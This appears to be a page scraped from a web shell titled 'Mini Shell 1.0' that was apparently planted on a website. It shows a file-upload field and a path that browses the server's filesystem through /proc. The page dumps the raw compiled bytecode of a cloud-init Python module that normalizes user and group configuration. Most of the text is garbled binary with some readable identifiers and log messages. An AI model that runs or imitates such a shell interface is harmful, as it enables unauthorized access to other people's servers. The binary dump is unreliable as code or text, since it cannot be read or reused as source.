HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991108/root/lib/python3/dist-packages/cloudinit/distros/__pycache__/
Upload File :
Current File : //proc/1991108/root/lib/python3/dist-packages/cloudinit/distros/__pycache__/ug_util.cpython-311.pyc
�

܍~c0'��^�ddlmZddlmZmZeje��Zd�Zdd�Z	d�Z
d	d�ZdS)
�)�log)�
type_utils�utilc���t|t��r'|����d��}t|t���r$i}|D�]}t|t
��r�|���D]�\}}t|ttf��s$tdtj	|��z���t|t��r*|�
|g���|����|�
|g���|������t|t��r
||vrg||<��tdtj	|��z���|}i}t|t
��r2|���D]\}}tj|��||<�n$tdtj	|��z���|S)N�,zBad group member type %szUnknown group name type %sz@Group config must be list, dict or string type only but found %s)�
isinstance�str�strip�split�list�dict�items�	TypeErrorr�obj_name�
setdefault�extend�appendr�uniq_merge_sorted)�grp_cfg�	c_grp_cfg�i�k�v�groups�grp_name�grp_memberss        �;/usr/lib/python3/dist-packages/cloudinit/distros/ug_util.py�_normalize_groupsrs���'�3���-��-�-�/�/�'�'��,�,���'�4� � ���	��	�	�A��!�T�"�"�
��G�G�I�I�
>�
>�D�A�q�%�a�$���5�5��'�6�)�2�1�5�5�7����
"�!�T�*�*�>�!�,�,�Q��3�3�:�:�1�=�=�=�=�!�,�,�Q��3�3�:�:�1�=�=�=�=�
>��A�s�#�#�
��I�%�%�#%�I�a�L���0�J�4G��4J�4J�K������
�F��'�4� � �
�%,�]�]�_�_�	C�	C�!�H�k�#�5�k�B�B�F�8���	C��N��"�7�+�+�
-�
�
�	
��M�Nc��t|t��r�g}|���D]�\}}t|ttt
tf��r7tj|��r"|�	t
|�����dt|t��r||d<|�	|����tdtj|���d|�����|}n)t|t��rtj
|��}i}|D]�}t|ttf��r#tj|��D]
}|r	||vri||<��At|t��rG|�dd��}|�|��pi}	tj|	|g��||<��tdtj|��z���|rni}
|���D]U\}}i}
|���D]4\}}|�dd�����}|r||
|<�5|
|
|<�V|
}d}|r�d|vr�|�d��}|r�|���}|�d��}|�dg��}|�|i��}|�dg��}tj
||��}d	�|��|d<tj|||g��||<|���D]\}}|r||knd
|d<�|S)N�namezUnmappable user value type z	 for key �defaultzDUser config must be dictionary/list or string  types only and not %s�-�_rrF)rr
r�bool�int�floatr	r�is_truerrrrrr�
uniq_merge�pop�get�
mergemanydict�replacer
�copy�join)�u_cfg�def_user_cfg�ad_ucfgrr�users�user_config�u�n�prev_config�c_users�uname�uconfig�	c_uconfig�def_user�
def_config�
def_groups�
parsed_config�
parsed_groups�users_groupss                    r�_normalize_usersrBHs����%����.����K�K�M�M�	�	�D�A�q��!�d�C���4�5�5�

��<��?�?�+��N�N�3�q�6�6�*�*�*���A�t�$�$�
���&�	����q�!�!�!�!��i�!�*�1�-�-�-�-�q�q�2�������	�E�3�	�	�.��&�u�-�-���E��
�
���k�D�#�;�/�/�	��_�[�1�1�
"�
"���"��%���!�E�!�H��
"���T�
*�
*�	�����	�2�2�A��)�)�A�,�,�,�"�K��)�;��*D�E�E�E�!�H�H��)�,6�,?��,L�,L�N���
�
�	���#�k�k�m�m�	'�	'�N�E�7��I��
�
���
%�
%���1��I�I�c�3�'�'�-�-�/�/���%�#$�I�a�L��&�G�E�N�N����H����e�#�#��Y�Y�y�)�)�
��	�(�,�,�.�.�L�#�'�'��/�/�H�%�)�)�(�B�7�7�J�"�I�I�h��3�3�M�)�-�-�h��;�;�M��1�-��L�L�L�&)�h�h�|�&<�&<�M�(�#�#�0��z�=�9���E�(�O� �+�+�-�-�F�F���w�2:�E�U�h�.�.���	����Lrc�|�|si}i}d|vr�|dr�|d}t|t��rd|i}t�d��nDt|t��s/t�dtj|����i}i}	|���}n*#t$rt�d��YnwxYwtj
||g��}|�dg��}t|ttf��r)t�dt|����nDt|t��s/t�dtj|����g}|r�t|t��r|�dd	i��nVt|t��r't	|���d	d
��|d	<nt|t��r|dz
}i}d|vrt|d��}t!||��}||fS)
N�userr!zrDEPRECATED: 'user' of type string is deprecated and will be removed in a future release. Use 'users' list instead.z?Format for 'user' key must be a string or dictionary and not %sziDistro has not implemented default user access. No distribution provided default user will be normalized.r3zlDEPRECATED: 'users' of type %s is deprecated and will be removed in a future release. Use 'users' as a list.z^Format for 'users' key must be a comma-separated string or a dictionary or a list but found %sr"Tz,defaultr)rr	�LOG�warningr
rr�get_default_user�NotImplementedErrorrr,r+�typerrrrB)�cfg�distro�old_user�distro_user_config�default_user_config�
base_usersrr3s        r�normalize_users_groupsrP�s�������
�H�
��}�}��V��}��v�;���h��$�$�	���)�H��K�K�M�
�
�
�
��H�d�+�+�	��K�K���#�H�-�-�
�
�
�
�H���
�#�4�4�6�6�����
�
�
����
E�	
�	
�	
�	
�	
�
�����,�h�8J�-K�L�L������"�%�%�J��*�t�S�k�*�*�����
;�����	
�	
�	
�	
�
�
�T�
+�
+�����
6���
�+�+�	
�	
�	
�
�
��%��j�$�'�'�	%����v�y�1�2�2�2�2�
�
�D�
)�
)�	%�$(��$4�$4�$8�$8��D�$I�$I�J�y�!�!�
�
�C�
(�
(�	%��*�$�J�
�F��3���"�3�x�=�1�1���Z�)<�=�=�E��6�?�s�B+�+$C�Cc���|s||fSd�}tt||�������}|s||fSt|��d}||}|�dd��||fS)Nc�2�|d}|rd|vrdS|dS)N�r"F�)�entry�configs  r�	safe_findz"extract_default.<locals>.safe_find�s-���q����	��&�0�0��5��i� � rrr")r
�filterrrr*)r3�default_name�default_configrW�	tmp_usersr!rVs       r�extract_defaultr\�s����.��n�-�-�!�!�!��V�I�u�{�{�}�}�5�5�6�6�I��.��n�-�-��	�?�?�1��D�
�t�_�F�
�J�J�y�$�����&�>�r)N)NN)�	cloudinitr�loggingrr�	getLogger�__name__rErrBrPr\rTrr�<module>ras���%�$�$�$�$�$�&�&�&�&�&�&�&�&��g���!�!��%�%�%�bN�N�N�N�xH�H�H�Z�����r